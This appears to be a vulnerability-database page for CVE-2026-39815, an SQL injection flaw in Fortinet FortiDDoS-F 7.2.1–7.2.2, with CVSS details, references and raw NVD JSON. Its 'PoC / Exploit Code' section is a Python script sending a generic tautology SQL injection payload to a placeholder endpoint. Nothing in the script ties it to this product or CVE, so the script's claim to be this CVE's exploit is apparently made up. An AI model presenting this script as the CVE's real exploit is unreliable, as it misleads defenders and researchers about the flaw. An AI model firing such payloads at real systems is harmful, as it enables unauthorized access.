CVE-2026-39815

Description

A improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiDDoS-F 7.2.1 through 7.2.2 may allow attacker to execute unauthorized code or commands via sending crafted HTTP requests

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiddos-f:*:*:*:*:*:*:*:* - VULNERABLE

Fortinet FortiDDoS-F 7.2.1

Fortinet FortiDDoS-F 7.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Placeholder for the vulnerable endpoint)
target_url = "http://target-ip/api/vulnerable_endpoint"

# Malicious payload to test SQL Injection
# This payload attempts to bypass authentication or manipulate the query
payload = "1' OR '1'='1' -- "

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

# Send crafted HTTP request
try:
    response = requests.post(
        target_url,
        data={"id": payload},
        headers=headers,
        timeout=10
    )
    
    # Analyze the response
    if response.status_code == 200 and "error" not in response.text:
        print("[+] Potential SQL Injection vulnerability confirmed!")
        print("[+] Response:", response.text[:200])
    else:
        print("[-] Exploit failed or patch applied.")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39815
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39815
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39815/
[4] VulDB https://vuldb.com/cve/CVE-2026-39815
[5] https://fortiguard.fortinet.com/psirt/FG-IR-26-119

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39815", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:46.383", "lastModified": "2026-04-20T18:06:55.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiDDoS-F 7.2.1 through 7.2.2 may allow attacker to execute unauthorized code or commands via sending crafted HTTP requests"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiddos-f:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.1", "versionEndExcluding": "7.2.3", "matchCriteriaId": "D689EF4D-14F7-4D42-8814-2A44EE85C304"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-119", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}